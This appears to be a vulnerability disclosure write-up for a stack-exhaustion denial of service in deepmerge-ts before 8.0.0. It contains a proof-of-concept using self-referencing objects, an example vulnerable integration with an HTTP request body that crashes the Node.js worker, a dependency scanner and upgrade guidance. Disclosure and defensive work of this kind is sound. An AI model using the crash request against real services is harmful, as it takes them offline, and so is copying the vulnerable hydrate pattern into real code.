
Reproduces a stack-exhaustion denial-of-service in deepmerge-ts before 8.0.0, documents exploitation, and includes a scanner for vulnerable dependency ranges.
I reproduced a stack exhaustion bug in deepmerge-ts versions before 8.0.0.
The interesting part is that the crash does not need a huge nested object. It comes from object identity. If both values being merged point back to themselves through the same property, the merge routine keeps visiting the same pair until Node.js runs out of stack space.
Advisory: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Severity: High Impact: Availability
Most merge tests use ordinary JSON-shaped data:
{
user: {
name: "alice"
}
}
That data is acyclic. JavaScript objects can also contain references to themselves or to another object in the same graph. Those cases are easy to miss if the test suite only uses JSON fixtures.
The smallest failing graph is two separate objects with the same self-reference:
const left = {};
left.self = left;
const right = {};
right.self = right;
Record merging walks the enumerable keys, collects the values for each key, and calls the merge routine again for those values. There is no cycle check and no tracking for a previously-seen object pair in the affected releases.
The self key sends execution back into the same state:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
The same behavior is reachable through deepmergeInto, deepmergeCustom, and deepmergeIntoCustom when they receive the same kind of graph.
The package is pinned to the affected 7.1.6 release in package.json.
npm install
npm run poc
The complete test is in poc.mjs. It runs both public APIs locally and catches the expected RangeError so the result is easy to read.
The important part of the PoC is:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
Expected output:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
The PoC returns success when the affected behavior is observed. If the package is upgraded and both calls complete, it prints a clean result and exits with status 1 because the issue was not reproduced.
There is no magic cyclic JSON payload. A normal JSON parser creates an acyclic graph, so this is not triggered by simply sending a very deep JSON body to:
deepmerge(defaults, req.body);
The application needs to create or preserve the cycle before calling the merge function. That can happen in graph hydration code, a reference-preserving deserializer, cache or session object reuse, or custom logic that links records together.
Here is a small example of a vulnerable integration. The hydrate function turns a user-controlled flag into a self-reference:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
If an HTTP route calls mergeRequest, an attacker can send:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
Both sides now contain a self reference. When the route calls deepmerge(left, right), the library follows left.self and right.self, receives the same pair again, and recurses until V8 throws.
An application does not have to use this exact hydrate function. The important conditions are:
If the route is public and the exception is uncaught, a single request can stop the Node.js worker. If a process supervisor automatically restarts it, repeated requests can keep the service in a restart loop. If authentication is required, the attacker still needs access to that route.
This is a denial of service issue. The bug does not provide code execution, file access, or a way to read merge input from another request.
This distinction matters when assessing a real application. The following request body is not itself a cycle:
{
"self": true
}
It only becomes relevant if application code interprets self: true as a reference to the root object, or if another parser restores object references. The package should still handle the resulting graph safely, but the remote exploitability depends on the code around the package.
The direct impact is availability through synchronous stack exhaustion.
Depending on the surrounding application, the result can be:
RangeErrorThere is no confidentiality or integrity impact in this issue by itself. The severity increases when the merge route is unauthenticated, reachable from the public internet, or automatically retried by another service.
I added scanner.mjs to find affected dependency references before running the crash PoC. It checks:
package.json dependency rangespackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlRun it against a project directory:
node scanner.mjs /path/to/project
For CI or other tooling, use JSON output:
node scanner.mjs /path/to/project --json
Example result for this repository:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
The scanner exits with status 1 when it finds an affected version or range. Git URLs and other non-semver sources are marked REVIEW instead of being silently treated as safe.
The direct fix is to upgrade to deepmerge-ts >= 8.0.0 and refresh the lockfile.
npm install deepmerge-ts@^8.0.0
The application should also decide how recursive input is handled. Reasonable options are:
Catching the error is useful for process stability, but it does not remove the underlying denial of service if an attacker can repeat the request. Upgrading the dependency and handling recursive input are the important fixes.
Change the dependency to 8.0.1, reinstall, and run the same PoC:
npm install [email protected]
npm run poc
On the patched release both calls complete and the script prints:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
The PoC and scanner in this repository are released under the MIT License.